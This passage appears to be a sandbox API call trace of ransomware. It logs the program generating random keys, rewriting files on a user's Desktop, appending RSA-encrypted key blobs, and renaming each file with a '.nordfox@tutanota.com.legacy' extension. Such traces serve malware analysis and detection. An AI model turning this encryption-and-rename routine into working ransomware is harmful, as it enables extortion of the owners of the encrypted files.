hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5facb0 | out: hHeap=0x520000) returned 1 [0111.967] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x110d2 [0111.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.969] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.969] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.969] CloseHandle (hObject=0x5e4) returned 1 [0111.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0111.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0111.970] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\9LK4qcZv5ITL2VTxp.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9lk4qczv5itl2vtxp.mp3"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\9LK4qcZv5ITL2VTxp.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\9lk4qczv5itl2vtxp.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7c38 | out: hHeap=0x520000) returned 1 [0111.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0111.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0111.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0111.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0111.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0111.983] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0111.983] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0111.983] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\5udgkcl9lFsDzlhn.gif", dwFileAttributes=0x80) returned 1 [0111.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0111.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8368 [0111.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0111.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\5udgkcl9lFsDzlhn.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\5udgkcl9lfsdzlhn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.984] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76642) returned 1 [0111.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12b62) returned 0x5e9bd0 [0111.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12b62) returned 0x5fc740 [0111.985] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x12b62, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x12b62, lpOverlapped=0x0) returned 1 [0111.990] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-76642, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.990] WriteFile (in: hFile=0x5e4, lpBuffer=0x5fc740*, nNumberOfBytesToWrite=0x12b62, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fc740*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12b62, lpOverlapped=0x0) returned 1 [0111.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fc740 | out: hHeap=0x520000) returned 1 [0111.993] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12b62 [0111.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.994] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.995] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.995] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.995] CloseHandle (hObject=0x5e4) returned 1 [0111.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0111.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0111.996] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\5udgkcl9lFsDzlhn.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\5udgkcl9lfsdzlhn.gif"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\5udgkcl9lFsDzlhn.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\5udgkcl9lfsdzlhn.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8368 | out: hHeap=0x520000) returned 1 [0111.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0111.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0111.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0111.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0111.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0111.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.998] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\5ezA.jpg", dwFileAttributes=0x80) returned 1 [0111.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0111.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0111.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0111.999] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\5ezA.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\5eza.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.999] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=37527) returned 1 [0111.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9297) returned 0x5e9bd0 [0111.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9297) returned 0x5f2e70 [0111.999] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x9297, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x9297, lpOverlapped=0x0) returned 1 [0112.002] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-37527, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.002] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f2e70*, nNumberOfBytesToWrite=0x9297, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f2e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9297, lpOverlapped=0x0) returned 1 [0112.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f2e70 | out: hHeap=0x520000) returned 1 [0112.004] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9297 [0112.004] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.004] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.006] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.006] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.007] CloseHandle (hObject=0x5e4) returned 1 [0112.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.007] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\5ezA.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\5eza.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\5ezA.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\5eza.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0112.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0112.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0112.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0112.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0112.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0112.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\4Vp_7.jpg", dwFileAttributes=0x80) returned 1 [0112.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0112.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0112.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0112.011] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\4Vp_7.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\4vp_7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0112.011] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65757) returned 1 [0112.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100dd) returned 0x5e9bd0 [0112.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100dd) returned 0x5f9cb8 [0112.011] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x100dd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x100dd, lpOverlapped=0x0) returned 1 [0112.017] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-65757, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.017] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f9cb8*, nNumberOfBytesToWrite=0x100dd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f9cb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100dd, lpOverlapped=0x0) returned 1 [0112.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f9cb8 | out: hHeap=0x520000) returned 1 [0112.019] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x100dd [0112.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.021] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.021] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.021] CloseHandle (hObject=0x5e4) returned 1 [0112.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0112.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0112.022] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\4Vp_7.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\4vp_7.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\4Vp_7.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\4vp_7.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0112.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.025] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\3zdM.png", dwFileAttributes=0x80) returned 1 [0112.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0112.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0112.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0112.026] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\3zdM.png" (normalized: "c:\\users\\fd1hvy\\desktop\\3zdm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0112.027] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=48363) returned 1 [0112.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbceb) returned 0x5e9bd0 [0112.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbceb) returned 0x5f58c8 [0112.027] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xbceb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xbceb, lpOverlapped=0x0) returned 1 [0112.030] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-48363, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.030] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f58c8*, nNumberOfBytesToWrite=0xbceb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f58c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbceb, lpOverlapped=0x0) returned 1 [0112.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.031] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f58c8 | out: hHeap=0x520000) returned 1 [0112.032] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbceb [0112.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.034] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.035] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.035] CloseHandle (hObject=0x5e4) returned 1 [0112.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.035] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\3zdM.png" (normalized: "c:\\users\\fd1hvy\\desktop\\3zdm.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\3zdM.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\3zdm.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0112.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0112.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0112.040] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0112.040] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0112.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0112.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0112.040] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\2CM4hAu-L5z.mp3", dwFileAttributes=0x80) returned 1 [0112.040] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0112.040] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563f48 [0112.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0112.040] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\2CM4hAu-L5z.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\2cm4hau-l5z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0112.041] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=100135) returned 1 [0112.041] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18727) returned 0x5e9bd0 [0112.041] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18727) returned 0x2f40050 [0112.043] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x18727, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x18727, lpOverlapped=0x0) returned 1 [0112.048] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-100135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.049] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x18727, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18727, lpOverlapped=0x0) returned 1 [0112.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0112.055] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18727 [0112.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.056] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.056] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.057] CloseHandle (hObject=0x5e4) returned 1 [0112.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0112.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0112.057] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\2CM4hAu-L5z.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\2cm4hau-l5z.mp3"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\2CM4hAu-L5z.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\2cm4hau-l5z.mp3.1506877342345.nordfox@tutanota.com.legacy"), 